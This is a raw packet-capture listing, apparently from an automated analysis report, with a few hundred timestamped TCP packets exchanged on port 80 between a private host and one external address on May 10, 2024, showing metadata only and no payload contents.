May 10, 2024 09:20:58.099436045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099438906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099452019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099463940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099468946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099477053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099498987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099505901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099513054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099519014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099530935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099543095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099555969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099559069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099577904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099625111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099638939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099648952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099661112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099666119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099673033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099684954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099687099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099697113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099699020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099709988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099721909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099729061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099735022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099745989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099754095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099757910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099770069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099781990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099788904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099796057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099807024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099813938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099818945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099828959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099832058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099844933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099852085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099855900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099879980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099881887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099895000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099905968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099916935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099921942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099930048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099941969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099951982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099955082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099967957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099967957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099982023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.099984884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.099994898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.100019932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.100020885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.100054026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.100953102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.100965023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101003885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101017952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101229906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101242065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101253986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101264954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101275921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101277113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101288080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101300001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101300001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101313114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101315022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101324081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101330042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101337910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101352930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101366043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101377964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101387978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101398945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101409912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101414919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101423025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101434946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101438046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101448059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101469040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101470947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101481915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101494074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101505041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101516008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101517916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101526976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101541996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101552963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101561069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101572990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101573944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101584911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101597071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101607084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101610899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101619959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.101625919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.101649046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102442026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102457047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102468967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102483034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102494001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102495909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102509975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102516890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102524042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102565050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102624893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102636099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102648020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102659941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102659941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102674961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102680922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102689981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102701902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102701902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102725983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102732897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102737904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102750063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102760077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102771044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102773905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102782965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102794886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102796078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102807999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102813959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102829933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102840900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102844954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102853060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102864981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102868080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102876902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102888107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102911949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102911949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102921963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102925062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102937937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102948904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102952957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.102961063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102972031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102982998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102993965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.102996111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103005886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103018045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103024006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103030920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103043079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103053093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103053093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103065968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103075027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103077888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103101015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103101969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103115082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103126049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103132963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103137970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103148937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103161097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103168011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103173018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103184938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103194952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103210926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103215933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103223085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103235960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103240967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103247881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103260040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103271961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103277922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103282928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103291988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103296041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103308916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103321075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103326082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103346109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103347063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103358030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103369951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103380919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103380919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103393078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103394985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103408098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103420019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103430033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103441954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103441954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103454113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103465080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103476048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103481054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103496075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103507996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103513002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103519917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103538990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103542089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103554964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103566885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103566885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103579998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103586912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103593111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103605032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103615999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103624105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103627920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103640079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103646040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103652000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103673935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103676081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103682041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103688955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103701115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103712082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103723049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103729010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103735924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103748083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103758097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103761911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103770018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103776932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103781939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103790045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103807926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103811979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103821039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103832960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103843927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103853941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103854895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103868008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.103874922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.103904009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.104192972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104218006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104229927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104240894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104250908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.104252100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104264975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104271889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.104275942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104288101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104298115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.104299068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104310989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.104311943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104325056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104336023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104342937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.104348898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104360104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.104363918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.104435921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105053902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105067015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105078936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105094910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105215073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105226994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105242968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105246067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105254889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105268002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105273008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105279922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105292082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105302095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105304003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105317116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105329037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105330944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105343103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105351925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105360031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105372906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105379105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105385065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105396986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105407953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105415106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105420113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105432987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105443001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105443954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105457067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105457067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105469942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105479956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105483055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105495930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105501890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105508089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105520010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105530977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105534077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105542898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105555058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105566025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105576992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105581999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105591059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105598927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105612040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105623007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105632067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105633974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105645895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105665922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105665922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105674028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105679989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105690956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105701923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105712891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105724096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105726957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105736971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105750084 CEST	80	49754	34.68.151.162	192.168.2.4
